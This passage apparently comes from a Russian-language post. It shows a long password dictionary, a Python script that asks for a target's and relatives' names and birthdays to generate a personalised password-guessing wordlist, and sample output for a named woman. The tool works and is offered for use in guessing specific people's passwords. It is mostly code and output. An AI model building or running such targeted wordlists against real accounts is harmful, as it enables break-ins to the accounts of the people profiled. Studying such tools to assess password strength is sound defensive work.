'Converse', 'quake4', 'adminservers', 'cristian', 'melissa', 'miranda', 'easter', 'q3rulez', 'P@ssw0rd', 'sierra', 'concept', 'ronald', 'babyboy', 'arthur', 'qwerty00', 'Larson', 'SADIST', 'Trixie', 'shannon', 'THUNDER', '7654321qwerty', 'Silver', 'lipgloss', 'foobar', 'thething', 'dianne', 'kaitlyn', 'qqqqqq', 'frances', 'niners', 'Flyers', 'friend', '012345678', 'pretty', 'chris1', 'janice', 'zinch', 'babyblue', 'default', 'cannabis', 'dominique', 'Looney', 'SCOOTER', 'Raider', 'qsawefdr', 'ph@nt0m', 'Dolboeb', '666888', 'bernie', 'margarita', 'sexymama', 'pretty1', 'mauricio', 'dallas', '123456', 'bubbles', 'covid192020', 'mem_login', 'MERCEDES', 'notused', 'sterva', 'ferrari', 'VUDUMEN', 'blossom', 'france', 'bradley', 'windows', 'seomas', 'fuck_off', 'Jaeger', 'mem_password', 'celtic', 'courtney', 'curtis', 'services', 'philip', 'ИЖСТШБ', 'edcxsw', 'qwaszx', 'Viking', 'db_password', 'George', 'myhome', 'werter', 'rahasia', 'destiny', 'userip', 'db_username', '123456qwert', 'success', 'Charmed', 'kitty1', 'last_login', 'Hamster', 'Helpme', 'Hawaii', 'californ', 'superadm', 'webadmins', 'rascal', 'nothing', 'Leslie', 'Covid-19', 'zenitsk', '321654987', 'beatles', 'mickey', 'hollywood', 'bananas', 'sesskey', 'dinamo', 'swit2002', 'webuser', 'pe_aduser', 'western', 'rebelde', 'covidien', 'ilikeaol', 'jennifer', 'router', 'november', 'charity', 'mercedes', 'formula2', 'userPassword', 'paloma', 'qwerty123', '012345678qwerty', '%username%1234', 'Marvin', 'sporting', 'harrison', 'babylove', 'babies', 'kayleigh', 'miriam', 'rosita', 'domain', 'running', 'compton', 'raymond', 'SVCHOST', 'aurora', 'ronaldinho', 'village', 'madalina', 'company', 'pistaec', 'asdfasdf', 'maldita', '0123456qwerty', 'bubba1', 'excalibu', 'qwerty1981', 'robinzon', 'internet', 'export', 'gangsta', '55555555', 'cynthia', 'fireman', 'userid', 'candyman', 'klas1999', 'caramelo', 'michalex', 'stalone', 'sunflowe', 'babyko', 'angelo', 'BlackRaven', 'SPIDERMAN', 'Tinman', 'ph4nt0m', 'butterfly', 'tbl_users', 'cassie', 'login_admin', 'loveya', 'sports', 'admin_id', 'website', '123123', 'a1b2c3', 'ЙНПНМЮ', '111111', 'karina', 'michelle1', 'hello', 'mickeymouse', 'Guitar', 'COLUMB', 'Stocker', 'qwerty2011', 'scorpion', '1q2w3e4r5t6', 'NUMLOCK', '11223344', 'reznor', 'vietnam', 'sanchez', 'orlando', 'catdog', 'graphic', '789654', 'junjun', '7654321', 'qwe123456', 'sexsex', 'dilbert', 'mercury', 'admin_pass', 'andrea', 'cannon', 'kroywen', 'connect', 'ИТЪЖШВСБЯ', 'pineapple', 'cannibal', 'gothic', '!@#$%^&*()_+|', 'password1', 'christ', 'sexybabe', 'steaua', 'stormy', 'symantec', 'admsuper', 'christine', 'Kristi', 'lucky7', 'rockme', '123456789qwerty', 'asshole', 'camping', 'megaultra', 'eunice', 'wesley', 'Blaster', 'qscgyj', 'tennis', 'admin_userid', '1q2w3e4', 'nugget', 'tokiohotel', 'sampson', 'ricardo', 'bulldogs', 'italia', 'admin!', 'dbadmins', 'qwerasdf', 'admin_psw', 'Contact', 'DROWSSAP', 'dorothy', 'sundance', 'apple1', '777777', 'strelez', 'camila', 'asdasd', 'lektor', 'tattoo', 'ground', 'carolina', 'hockey', 'administrators', 'COSMOS', 'notabene', 'orange', 'cannonda', 'WIZARD', 'christin', 'justin1', 'martha', 'toronto', 'Miller', 'secrets', '@admin@', '][akep13', 'jeffrey', 'service', 'lionking', 'skypeout', 'Tennis', 'warrior', 'turtle', 'Strider', 'raiders', 'vermont', 'hop242', 'Hendrix', 'Whales', 'fuckyou1', 'jeromy', 'Goldie', 'narciss', 'guanliyuan', 'mortimer', 'prettygirl', 'hiphop', 'samuel', '666666', 'Jordan', 'peanut', '123qwert', 'gabriel', 'Flower', 'tb_admin', 'jerome', 'wolfgang', 'x_admin', 'powers', 'qwer1234', 'user_usrnm', 'lunita', 'nodnol', 'valentine', '010101', 'maurice', '12345qwert', 'zsxdcfv', 'Bastard', 'Christ', 'ЯНКМШЬЙН', 'jenifer', '11111', 'Pandemic', 'mustang', 'Marino', 'mb_users', 'n@poleon', 'ssssss', 'rangers', '212121', 'Teresa', 'marlon', 'breanna', 'michelle', 'minidixx', 'SIERRA', 'stephani', 'speedy', 'campbell', 'angelica', 'silver', 'damien', 'kaylee', 'moises', 'e_mail', 'person@l', 'portland', 'soulmate', 'DINOZAVT', 'joanne', '718293', 'newpass', 'lkjhgfdsa', 'download', 'passwrd', 'kolobok', 'Awesome', '654321', 'ssw0rd', 'webmaste', 'sophie', 'twinkle', 'Woodland', 'angeles', 'zasranez', 'adminpaw', 'fletch', 'player', 'user_uname', 'whitney', 'fugazi', 'Shadows', 'sylvia', 'q1w2e3r4', 'zxcdsa', 'pinkie', 'papito', 'clientpassword', 'medvedev', 'soledad', 'snapple', 'Trumpet', 'zacefron', 'qwert1234567', 'liverpool', 'seaman', 'Sweets', 'matrix', 'beckham', 'singer', 'hardcore', 'calvin', 'justin', 'arsenal', 'madison', 'adm1nistrator', 'spooky', 'mikael', 'w1w2w3w4', 'chelsea1', 'miranda2', 'Webmaster', 'qwerty01234567', 'kristina', 'member', 'reality', 'scarface', 'general', 'sagevsal', 'FLATRON', 'suzanne', 'Trinity', 'NITROGEN', 'mybaby', 'iloveu1', 'qwert1234', 'Denise', 's@d@m@z@', 'lucky13', 'angelito', 'adminuserid', 'david1', 'mozart', 'love13', 'nirvana', 'lonely', '951753', 'test', 'lorena', 'castle', 'photos', 'omarion', 'admin_login', 'lacrosse', 'yt1n1rt', 'mybb_users', 'Smiley', 'darkness', 'ASECHKA', 'elaine', 'MAMONT', 'MADONNA', '10tons', 'exploit', 'mem_passwd', 'jocelyn', 'cheyenne', '01234567', 'P@$$WORD', '1qaz@WSX', 'piglet', 'newton', 'qwerty987654321', 'adminuser', 'milagros', 'olivia', '55555', 'P@NTER@', 'colombia', 'preciosa', 'admin_passwd', 'Godmode', '31415926', 'escape', 'bamboo', 'hornet', 'clancy', 'calgary', 'Redskin', 'gangster', 'rovercar', '012qwerty', 'ne1469', 'qciretsam', 'Christop', 'Russell', 'm@$ter', 'california', 'Mittens', 'Sunshin', 'telephone', 'charlott', 'pandemic', 'Lindsay', 'afonja', 'Jessica', 'lostmind', 'gandako', 'ran-dom', '1p2o3i', 'morris', 'gemini', 'qwedsazxc', 'amormio', 'condor', 'LINUXOID', 'tblConfigs', 'piolin', 'script', 'parrot', 'Roping', 'qwerty1234567', 'knicks', 'siemens', 'atlanta', 'Defense', 'master', 'ihateu', 'formula1', 'horizon', '7777777', 'miller', 'cheer1', 'coolgirl', 'peterpan', 'adm1n1strator', 'adminmail', 'per$0n@l', 'stever', '123654', 'qazwsxedc', 'Reggie', 'tb_members', 'Covid19', 'zxcvbnm', 'tacobell', 'temp_pass', 'blonde', 'пароль', 'manuel', 'sandra', 'GLOBAL', '12345678qwerty', 'Pebbles', '12345678910qwerty', 'customers_password', 'reddog', 'chocolat', 'mahalkita', '123456qwe', 'ИЖСЙТШБЮ', 'asdffdsa', 'eXtremal', 'asdeasd', 'paulina', 'coyote', 'cassandra', 'Celtics', 'iv_sen', 'falloutboy', 'derrick', 'Shithead', 'stimpy', 'maincomputer', 'denmark', 'angela', 'Animals', 'robinhoo', 'genius', 'Ay8IPUtv5e', 'Puppies', 'pumpkin', 'Golden', 'valentin', 'brianna', 'gloria', 'sacret', 'dancer1', 'asdzxc', '30media', '8675309', 'Barney', 'mother', 'qwerty99', '960628', 'unknown', 'ilovegod', 'lincoln', 'MOBMAN', 'jellybean', 'ladybug', '113355', 'sab@k@', 'giovanni', 'beyonce', 'honeyko', 'Whateve', 'veronica', 'molesto', 'moocow', 'qwerty54321', 'yasmin', 'burewar', 'babygirl', '456789', 'database', 'melody', 'steven', 'giggles', '987654321', 'tyler1', '1234567qwerty1234567', 'temp_password', 'diamond', 'combrik', 'brown1', 'Gordon', '123456qwerty123456', 'per$0nal', 'p@ssw0rd', 'casper', 'mamita', 'westlife', 'beautiful', 'tblUser', 'sailing', '12qwerty', 'princess1', 'chester1', 'JUVENTUS', 'laurie', 'simone', 'rambler', 'starwars', 'alpine', '3904iurf', 'olololo', '555555', 'P@SSWORD', 'genetic', 'blondie', 'sayang', 'NITEBIRD', 'drowpa$$', 'skittles', 'accounts', 'Barbie', 'wedding', 'animal', '123654789', 'yankees', 'liverpoo', 'Harvey', 'timber', 'belinda', 'chance', 'howard', 'user123', 'brandi', '@admin', 'qwerty12345678', 'beanie', 'isaiah', 'alexandra', 'roxanne', 'MISTIC', 'secret', 'wrangler', 'semantec', 'bitches', 'Patches', 'qwe321', 's@pretne', 'eugene', 'tanner', 'russia2018', 'winnie', 'walker', 'microsoft', 'willie', 'wwwyaru', '11111111', 'covid2019', 'time2be', 'propusk', 'safety', 'wheeling', 'Center', 'AGAINST', 'Abcdefg', 'camera', 'COMMAND', 'dougie', 'elizabet', 'snuggles', '561989', 'mariel', '123456QQAqqa_', 'goober', 'kopernik', 'PLATON', 'office', 'nofear', 'feedback', 'crazy1', 'gwapako', '332211', 'cooladmin', 'bestfriends', 'iloveyou1', '12345678', 'jeanette', 'beaver', 'thunderb', 'f@ntom@s', 'alejandro', 'C0L0RaD0', 'goforit', 'OCCUPIED', 'gabber', 'hearts', '19weed', 'william', 'BLACKMAN', 'fatefull', 'Florida', 'QwerUQwerU', 'myspace', 'special', '999999', 'spider', 'pauline', 'Hershey', 'digital1', 'nopass', 'FRIDAY13', 'aliens', 'rebmem', 'unlimit', 'tweety', 'Sampler', 'baby123', 'BvtTest123', 'fuck-you', 'horses', 'Denver', 'lizard', 'alpha1', 'danger', 'scarlet', 'someone', 'reguser', 'robert', 'server', 'Slayer', 'castrat', 'moonson', 'alexandru', 'modified', 'wowecarts@123', 'janine', 'future', 'Shirley', 'silvia', 'sherry', 'passw0rd', 'Garrett', 'UNREAL', 'zxcvbn', 'qwertyu', 'midori', 'adriana', 'Golfer', 'rayray', 'qwerty0123456', 'Swimmer', 'javier', 'juancarlos', 'raquel', 'lindsay', 'maymay', 'ARTEFACT', 'dexter', 'arnold', 'random', 'Yellow', 'sebastian', 'simpleplan', 'america', 'mozilla', 'mystica', 'segment', 'tb_administrator', 'shelly', 'Goalie', 'sweets', 'qwerty321', ')4ever', 'muffin', 'marius', 'ArticleID', 'sweet16', 'Gopher', 'SPARTAK', 'esrevinu', '%username%12', 'formula3', 'ohmygod', 'ashleigh', 'carmen', 'VACATION', 'melanie', 'matthew', 'nichole', 'chicago', 'hamster', 'CLEVER', 'austin1', 'cactus', 'sartir', 'network', 'mahalkoh', 'flower', 'iverson3', 'monkey1', '181818', 'frankie', 'rodriguez', 'admin123', 'chapman', 'ironman', 'pikachu', 'sadistic', 'jeremiah', '321654', 'wildcats', 'Racing', '4897798', 'pictures', 'scotland', '012345', 'director', 'trilogy', 'chanel', 'SUNRISE', 'pamela', 'tinker', 'grinch', 'reynolds', 'unknovn', 'montreal', 'qwerty88', 'brownie', 'Kombat', 'preston', 'james1', 'stacey', 'Gymnast', '00090009', 'donkey', 'Cassie', 'n@p0le0n', 'bridge', '321adc', 'raptor', 'SHAKUR', 'METALIKA', 'memberid', '789456', 'Amanda', 'front242', 'einstein', 'galileo', 'Masters', 'jazmin', 'justice', 'agresive', 'harley', 'mpassword', 'tfarcraw', 'zaxscdvfbg', '121212', 'Paladin', 'admin_user', 'qwerty1990', 'Picard', 'williams', 'nathaniel', 'jensen', 'steelers', 'froggy', '100500', 'manager', 'tb_username', 'vb_user', 'forineli', 'ph@ntom', 'warren', 'callum', 'mempassword', 'shalom', 'brooklin', 'savage', 'mouse1', 'lawrence', 'kristen', 'nicholas', 'warner', '@dministrator', '1q2w3e4r5t', 'CAUTION', 'evilmind', 'sex+love', 'homebrew', 'SPIDER', 'support', 'matter', 'nelson', 'люблю', 'element', 'heaven', 'lolita', 'poiuyt', 'lilmama', '_other_', 'Michell', 'qwertyqwerty', 'diamond1', 'coltrane', 'nenita', 'peewee', 'protel', 'rainbow', 'angel1', '][aker', 'warriors', 'uoykcuf', 'flym0de', 'mike123', '4321qwerty', 'gabriell', 'JACKSON', 'katherine', 'warcraft', 'autumn', 'husband', 'diesel', 'Cancer', 'bullet', 'little', 'Shelly', 'dragons', 'QWERTY', 'zaxscdvf', 'fuck-off', 'rockstar', 'Apples', '}{aker', 'SATAN666', 'Tanker', 'badger', 'Covid2020', 'Casper', 'franklin', 'sheila', 'golden', 'bloods', 'tbl_user', 'kathleen', 'Spiritwear_2004', 'administrator1', 'Hawkeye', 'loving', '12121212', 'galaxy', 'blinked', 'padonok', 'fuckoff', 'dookie', 'february', 'snickers', 'ronaldo', 'EdomdoG', 'Elaine', 'sb_pwd', 'Wicked', '456123', 'md5hash', 'rocket', '12344321', 'Letter', 'VUDUMAN', 'byteme', 'GOODWISH', 'solnyshko', 'evelyn', 'pookie', 'canela', 'k.,jdm', 'revoemag', 'fernando', 'MATRIX', 'servpass', 'maddie', 'kingdom', 'evolxes', 'marilyn', 'twilight', 'mission', '1234567890', 'qwert123456', '24crow', 'sexygirl', '123123123', 'lakers', 'sparky', '1234rewq', 'Alexxxx', 'Chipper', 'avatar', 'qqqqqqqq', 'qwert12345', 'theking', 'usrnam', 'cyfqgth', 'admin_username', 'peanut1', 'bluddy', 'united', '87654321', 'bitch123', 'antonio', 'fluffy', 'westeast', 'poiuytr', 'Pyramid', 'PRODIGY!', 'Scooby', 'support2', 'drpepper', 'python', 'painter', 'property', '010203', 'forest', 'passer', 'q1w2e3', 'validpas', 'cupcake', 'mendoza', 'monica', 'pink123', 'qwerfv', 'patricia', 'admin1', 'simpsons', 'bubble', 'allyson', 'Huskers', 'hjccnz', 'lollypop', 'chocolate', 'TOMORROW', 'george', 'cookies', 'Nathan', 'poison', 'ireland', 'barcelona', 'kucing', 'zasranec', 'savannah', 'tyrone', 'carebear', 'memory', 'SURPRISE', 'sniper', 'falcon', 'MEVERICK', 'FORMATC:', 'sasa321', 'soto4ka', '321321', 'ОПХБЕР', 'butcher', 'SHIFTALT', '123456789qwerty123456789', 'manman', 'express', 'alexandr', 'q1w2e3r', 'kristine', 'q1w2Q!W@', 'adminserver', 'Alyssa', 'ilovejesus', 'userpass', 'qwerty01', 'q1w2e3r4t5y', 'zaq1xsw2', 'Dreams', 'u_pass', 'sanyok', 'sapretne', 'sydney', 'Badboy', 'francisco', 'crazyman', 'datacenter', 'cricket', 'pickles', 'precious', 'travis', 'Compaq', 'apples', 'fashion', 'rambo1', 'celeron', 'p@$$vord', 'klaster', 'october', 'volcom', 'familia', 'smiths', 'Administrateur', 'ЮМДПЕИ', 'Margulya', 'apollo', 'Studly', 'Spanish', 'E-mail', 'memphis', 'arturo', 'Petunia', 'OVERCLOK', 'андрей', 'chivas', 'skiing', 'garden', 'Spanky', 'cuddles', 'bitch@', 'scorpio', 'mirror', 'qwedsa', 'trisha', 'public', 'settings', 'cunning', 'poohbear', 'student', 'kingkong', 'January', 'roxana', 'septic', 'armando', 'Theman', 'JAYSON', 'guitar', 'mypass', 'q1w2e3r4t5', 'ONLINE', 'Raiders', 'hctib321', 'Tigers', 'kelly1', 'valeria', 'knopka', 'Wrestle', 'canada', '852456', 'Cracker', 'target', 'bestfriend', 'WINDBURN', 'tomcat', 'cruise', 'giants', 'login_pwd', 'f1f2f3f4', 'Buffalo', 'ИЖСЙЕМЦЬЫГ', 'Reefer', 'violet', 'mudofil', 'teresa', 'alexander', 'pa$$vord', '789456123', 'hellokitty', 'cuties', 'coronavirus19', 'margaret', 'Google', 'rotfront', 'stuart', 'mountain', 'louise', 'MICHELIN', 'candy1', 'ornery', 'Superuser', 'montana', 'december', 'estrella', 'theboss', 'moroni', 'dreamer', 'qip12345', 'dekart', 'evol+xes', 'NORRIS', 'pierre', 'skippy', 'soccer', 'per$onal', 'bulldog', 'invizibl', 'realmadrid', 'garfield', 'Internet', 'leelee', 'gretzky', 'fdsarewq', 'dancing', 'Basebal', 'snayiclfv', 'School', 'Jester', 'ELECTRO', '5201314', 'fantomas', 'midnight', 'nicarao', 'Royals', 'Volleyb', 'zzzzzz', 'fresita', 'rockyou', 'Krystal', 'BILLGATE', 'trevor', 'celine', 'canced', '012345qwerty', 'sylvie', 'hotpink', 'Aggies', '][akep', 'freedom', 'Buddha', 'babyface', 'dodger', 'nummer', 'spring', 'MYICQ╧', '252525', 'rekax321', 'parker', 'Except', 'changeme', 'winter', 'dundee', 'AdminUID', 'Panther', 'password', 'TIMEOUT', 'brigada', 'Lakers', 'nazareth', 'sweetheart', '753951', 'icecream', 'temppasword', 'yolanda', 'lacoste', 'flower1', 'boogie', 'entropy', 'always', 'basketba', '//RaZOR', 'Golfing', 'scotch', 'hunter1', 'jesus1', '357951', 'onelove', 'ytinrete', 'spongebob1', 'go2fuck', 'sukinsin', 'login_pw', 'eskander', 'crawford', 'adminname', 'procesor', 'westside', 'leanne', 'hailey', 'qwerty1', '21122112', 'kennedy', 'rangers1', 'pollito', 'alicia', 'lovergirl', 'tazmania', 'dfcvxv', 'MIRABLIS', 'Maveric', 'Starwars', 'abcdefg', '1212121212', 'albert', 'qwertyuiop', 'jenny1', 'xswqaz', 'madison1', 'fabian', 'theresa', 'ib6ub9', 'KASPER', 'covid1984', 'HOTMAIL', 'cherry', 'shorty1', 'aretnap', 'Ripper', 'cxzdsaewq', '0123456789qwerty', 'audrey', '12345qwerty', 'password123', 'Bubbles', 'Chucky', 'MASACRE', 'MEXICO', '101010', 'zachary', 'maxwell', 'watson', 'skeeter', 'basketball', 'liberty', 'user_admin', 'Hunting', 'ivanov', 'smiley', 'user_email', 'gilbert', '0123456', 'london', '6PISTOLS', 'webmasters', 'burger', 'ashton', '147258369', 'bermud', 'Doobie', 'ZONE51', 'manchester', '369852147', 'hunter', 'ЩОХДЕЛХЪ', 'p@svord', 'Webster', '@system', 'regina', 'fuckme', 'Userlogin', 'rooney', 'llawerif', 'football1', 'Password', 'Angela1', 'Avital', 'lovebug', 'zxcdsa22', 'OUTPOST', '%username%', 'Junebug', 'banana', 'monique', '%username%123', 'client', 'Lindsey', 'portugal', 'username', 'qwerty22', 'ferret', 'iceman', 'lomakin', 'a_admin', 'natasha', 'dreams', 'friendship', 'panget', 'p@$$w0rd', '147852', 'grateful', 'deutsch', 'elizabeth', 'SITELOGIN', 'hotmail', 'asdfjkl;', 'chairman', '!@#$%^', 'bigmac', 'Flipper', 'contenu', 'flowers', 'cc_owner', '0000000000', 'oranges', 'money1', 'livetest', 'slayer', 'fernanda', 'khekkly', 'virginia', 'f1refox', 'patches', 'yvonne', 'usernames', 'amsterdam', '321qwerty', 'digital', 'jasmin', 'qwerty66', 'Basketb', 'Iceman', '!@#$%^&*()', 'pidaras', 'Skater', 'bubbles1', 'delfin', '159753', 'kittycat', 'bootsie', 'jupiter', 'NTLOADER', 'qwe123', 'natalia', 'olivier', 'Dallas', 'WebAdmin', 'Rabbit', 'Dolphin', '124578', 'my_username', 'battle', 'nooone', 'iguana', 'simple', 'ornament', 'garnet', 'un1verse', 'stephanie', 'zapata', '012345678910qwerty', 'Zombie', 'clientusername', 'church', 'beware', 'tagged', 'Kittens', 'lovers', 'scoobydoo', 'retsam', 'a123456', 'hayley', 'mantra', 'history', 'anthony1', 'planet', 'johncena', 'samantha', '141414', 'lucero', 'awesome', '12345678910', 'captain', 'bobcat', 'allison', 'merlin', 'herman', 'MUSTDIE', 'badgirl', '_nick_', 'babygirl1', 'dollars', 'pimpin', 'fiction', 'user_password', 'shirley', 'alejandra', 'pass123', 'm_admin', '12qwaszx', 'andrew1', 'q1w2e3r4t', 'nechto', 'smokey', '1q2w3e', 'thuglife', 'qwerty77', '1sanjose', 'ihateyou', 'netware', 'benson', 'bertha', 'catarina', 'caroline', 'Snicker', 'Sonics', 'h_admin', 'cameron', 'pussycat', 'sdfcvxv', 'qwert12', 'prince', 'Sarah1', 'chemistry', 'Blondie', 'Scarlett', 'Sandman', 'wombat', 'Blackie', 'swimming', 'shelby', 'macmac', 'active', 'myserver', 'shumaher', 'Peaches', 'lokita', 'DEICIDE', 'Country', 'morgan', 'research', 'edward', 'ffffff', '12345a', '202020', 'peaches', 'ИТЪЖШВ', 'admin_name', 'island', 'harrypotter', 'leonard', 'clients', 'tables', 'usuario', '1qw23er45ty67u', 'zaphod', 'poohbear1', 'gerardo', 'nicole', 'windsurf', 'wilson', 'bambam', 'baller', 'carlitos', 'seattle', 'gabriela', '123456789qwert', 'vincent', 'bernard', 'garcia', 'STALIN', '142536', 'qwerty654321', 'compaq', 'goldfish', 'lovely', 'German', 'Brazil', 'rocker', 'DYNAMIC', 'asdfghjk', 'qwerty0123', 'boston', 'police', 'delete', 'orbital', 'bigboy', 'design', 'vanessa', 'fletcher', 'moksana', 'Gambit', 'VERITAS', 'AUTOMOTO', '122333', 'cutie1', 'ZAGADKA', 'johnson', 'thursday', 'Russia', 'mylove', 'stingray', 'rekax123', 'wicked', 'passion', 'cardinal', 'console', 'catherine', 'mailer', 'titanic', 'admpro', 'BIGMUZZY', 'Porsche', 'qwerty012345', 'brandon', 'joshua', 'gibson', 'playboy', 'logins', 'p@ntera', 'danielle', 'customers', 'charmed', 'hootie', 'windowsxp', 'America', '098765', 'MIR@ND@', 'butter', 'garlic', 'campanita', 'clas1999', 'MITNYK', 'andrei', 'shamber', 'alaska', 'seagal', 'Scotty', 'picasso', '1234560', 'bridges', 'richie', 'R.GILL', 'qwerty55', 'Trouble', 'butler', 'qwerty12', 'BONJOVI', 'Sammie', 'marcus', 'mexico', 'cutiepie', 'marian', 'amanda1', 'bigdaddy', 'nissan', 'SUBSEVEN', 'mayday', 'buddy1', 'myusername', 'sitelogins', 'hello1', 'NTOSKRNL', 'PRODIGY', 'remote', 'gooood', 'qwerty666', 'obiwan', 'reverse', 'bismillah', 'hello123', 'zsxdcfvg'}
# 100 most popular passwords
TOP_PASSWORDS = {'12345678', 'qwerty123', '12345', 'qwerty1', '123456', '123321', 'qwerty', 'asdasd123', '123456789', 'asdasd', 'qqqqqq'}

max_count_default = 1000000
max_count_main_default = 2


def prompt(txt):
    return str(input(txt))
def fullname(fname, lname):
    return ['{}{}'.format(a, b) for a in cases(fname) for b in cases(lname)] + ["{}_{}".format(a, b) for a in cases(fname) for b in cases(lname)]
def cases(word):
    return [word.lower(), word.title()]


class PassGen:

    def __init__(self, max_count=max_count_default, max_count_main=max_count_main_default, silent=False):
        self.pet = None
        self.child = None
        self.spouse = None
        self.target = None
        self.passwords = set()
        self.passwords_not_sorted = list()
        self.silent = silent
        self.max_count = max_count
        self.max_count_main = max_count_main

    @staticmethod
    def question(target):
        answers = {}

        answers['firstname'] = prompt('Enter {}\'s first name: '.format(target))
        answers['lastname'] = prompt('Enter {}\'s last name: '.format(target))
        answers['nickname'] = prompt('Enter {}\'s nick name: '.format(target))

        while True:
            bday = prompt('Enter {}\'s birthday (dd.mm.yyyy): '.format(target))

            if not len(bday.strip()):
                break

            if len(bday.split('.')) != 3:
                print('Invalid birthday format\n')
                continue

            for _ in bday.split('.'):
                if not _.isdigit():
                    print('Birthday only requires numbers\n')
                    continue

            dd, mm, yyyy = bday.split('.')

            if int(mm) > 12 or int(mm) < 1 or int(dd) > 31 or int(dd) < 1 or len(yyyy) != 4:
                print('Invalid birthday\n')
                continue

            bday = {'day': dd, 'month': mm, 'year': int(yyyy)}
            break

        answers['birthday'] = bday
        return answers

    def _add(self, password):
        if password not in self.passwords:
            self.passwords.add(password)
            self.passwords_not_sorted.append(password)
    def format_names(self):
        for _ in range(self.max_count_main):
            if not self.silent:
                print(f'Generated: {len(self.passwords)}', end='\r')

            iters = 0
            for data in [self.target, self.spouse, self.child, self.pet]:
                if data['birthday']:
                    for i in (
                            "{}{}{}".format(data['birthday']['day'], data['birthday']['month'], data['birthday']['year']),
                            "{}{}{}".format(data['birthday']['day'], data['birthday']['month'], str(data['birthday']['year'])[2:]),
                            "{}{}{}{}".format(data['birthday']['day'], data['birthday']['month'], data['birthday']['day'], data['birthday']['month']),
                    ):
                        self._add(i)
                for n in ['firstname', 'lastname', 'nickname']:

                    fullname_list = []
                    name = data[n].strip()

                    if not len(name):
                        continue

                    if not iters:
                        fullname_list = fullname(data['firstname'], data['lastname'])
                        iters += 1

                    for word in cases(name) + fullname_list:

                        for i in ('{}{}'.format(word, _),
                                  '{}{}'.format(_, word),
                                  '{}{}!'.format(word, _),
                                  '{}{}.'.format(word, _),
                                  ):
                            if i not in self.passwords: self._add(i)

                        bday = data['birthday']

                        if bday:
                            for i in (
                                '{}{}'.format(word, bday['year']),
                                '{}{}!'.format(word, bday['year']),
                                '{}{}'.format(bday['year'], word),
                                '{}{}'.format(word, str(bday['year'])[2:]),
                                '{}{}{}{}'.format(word, bday['year'], bday['month'], bday['day']),
                                '{}{}{}{}'.format(word, str(bday['year'])[2:], bday['month'], bday['day']),
                                '{}{}{}{}'.format(word, bday['day'], bday['month'], str(bday['year'])[2:]),
                                '{}{}{}{}'.format(word, bday['day'], bday['month'], bday['year']),
                                '{}{}{}'.format(word, bday['day'], bday['month']),
                                '{}{}{}{}'.format(bday['day'], bday['month'], bday['year'], word),
                            ):
                                self._add(i)

    def generator(self, ignore_additional=True, write=True):
        if not self.silent:
            print('Generating main passwords... \nIt\'s may take a while.')
        self.format_names()
        if not self.silent:
            print("...generated {} main passwords".format(len(self.passwords_not_sorted)), end='\r')
        for i in TOP_PASSWORDS:
            self._add(i)
        if not self.silent:
            print("...generated {} popular passwords".format(len(self.passwords_not_sorted)), end='\r')
        output_file = '{}.txt'.format(self.target['firstname'].lower()
                             if self.target['firstname'] else 'pass.txt')
        if write:
            with open(output_file, 'wt', encoding='utf-8') as f:
                for pwd in self.passwords_not_sorted:
                    if not self.silent:
                        print('Writing ...')
                    f.write('{}\n'.format(pwd))

            if not ignore_additional:
                if not self.silent:
                    print("Generating additionals combinations...")
                with open(output_file, 'at', encoding='utf-8') as f:
                    i = 0
                    while i < self.max_count:
                        if not self.silent:
                            print('Writing additional combinations ... {}/{}'.format(i*3, self.max_count*3),end='\r')
                        f.write('{}{}\n'.format(self.target['firstname'], i))
                        f.write('{}{}\n'.format(self.target['lastname'], i))
                        f.write('{}{}\n'.format(self.target['nickname'], i))
                        i += 1
                if not self.silent:
                    print("...generated {} additional combinations".format(self.max_count*3))

        if not self.silent:
            print('Passwords Generated in file: {}'.format(output_file))


def parse_cmd_args(argv):
    parser = argparse.ArgumentParser(description='Run password generator')
    parser.add_argument('--ignore-additional', dest='ignore_additional', default=False,
                        help='ignore additions combinations')
    parser.add_argument('--max-count', dest='max_count', default=max_count_default,
                        help='maximum count for additional combinations')
    parser.add_argument('--max-count-main', dest='max_count_main', default=max_count_main_default,
                        help='maximum count for main combinations')
    parser.add_argument('--silent', dest='silent', action='store_true',
                        help='no print process (faster)')
    parser.set_defaults(ignore_additional=False)
    parser.set_defaults(silent=False)
    args = parser.parse_args(argv[1:])
    return args


if __name__ == '__main__':
    args = parse_cmd_args(sys.argv)
    p = PassGen(
        max_count=int(args.max_count),
        max_count_main=int(args.max_count_main),
        silent=args.silent
    )
    p.target = p.question('target')
    p.spouse = p.question('spouse')
    p.child = p.question('child')
    p.pet = p.question('pet')

    p.generator(ignore_additional=args.ignore_additional)

За основу взят этот скрипт

Вот пример того, что генерирует скрипт (все совпадения случайны, это просто пример)

Возможные пароли Марии Кузнецовой 01.02.2000г
01022000
010200
01020102
maria0
0maria
maria0!
maria0.
maria2000
maria2000!
2000maria
maria00
maria20000201
maria000201
maria010200
maria01022000
maria0102
01022000maria
Maria0
0Maria
Maria0!
Maria0.
Maria2000
Maria2000!
2000Maria
Maria00
Maria20000201
Maria000201
Maria010200
Maria01022000
Maria0102
01022000Maria
mariakuznecova0
0mariakuznecova
mariakuznecova0!
mariakuznecova0.
mariakuznecova2000
mariakuznecova2000!
2000mariakuznecova
mariakuznecova00
mariakuznecova20000201
mariakuznecova000201
mariakuznecova010200
mariakuznecova01022000
mariakuznecova0102
01022000mariakuznecova
mariaKuznecova0
0mariaKuznecova
mariaKuznecova0!
mariaKuznecova0.
mariaKuznecova2000
mariaKuznecova2000!
2000mariaKuznecova
mariaKuznecova00
mariaKuznecova20000201
mariaKuznecova000201
mariaKuznecova010200
mariaKuznecova01022000
mariaKuznecova0102
01022000mariaKuznecova
Mariakuznecova0
0Mariakuznecova
Mariakuznecova0!
Mariakuznecova0.
Mariakuznecova2000
Mariakuznecova2000!
2000Mariakuznecova
Mariakuznecova00
Mariakuznecova20000201
Mariakuznecova000201
Mariakuznecova010200
Mariakuznecova01022000
Mariakuznecova0102
01022000Mariakuznecova
MariaKuznecova0
0MariaKuznecova
MariaKuznecova0!
MariaKuznecova0.
MariaKuznecova2000
MariaKuznecova2000!
2000MariaKuznecova
MariaKuznecova00
MariaKuznecova20000201
MariaKuznecova000201
MariaKuznecova010200
MariaKuznecova01022000
MariaKuznecova0102
01022000MariaKuznecova
maria_kuznecova0
0maria_kuznecova
maria_kuznecova0!
maria_kuznecova0.
maria_kuznecova2000
maria_kuznecova2000!
2000maria_kuznecova
maria_kuznecova00
maria_kuznecova20000201
maria_kuznecova000201
maria_kuznecova010200
maria_kuznecova01022000
maria_kuznecova0102
01022000maria_kuznecova
maria_Kuznecova0
0maria_Kuznecova
maria_Kuznecova0!
maria_Kuznecova0.
maria_Kuznecova2000
maria_Kuznecova2000!
2000maria_Kuznecova
maria_Kuznecova00
maria_Kuznecova20000201
maria_Kuznecova000201
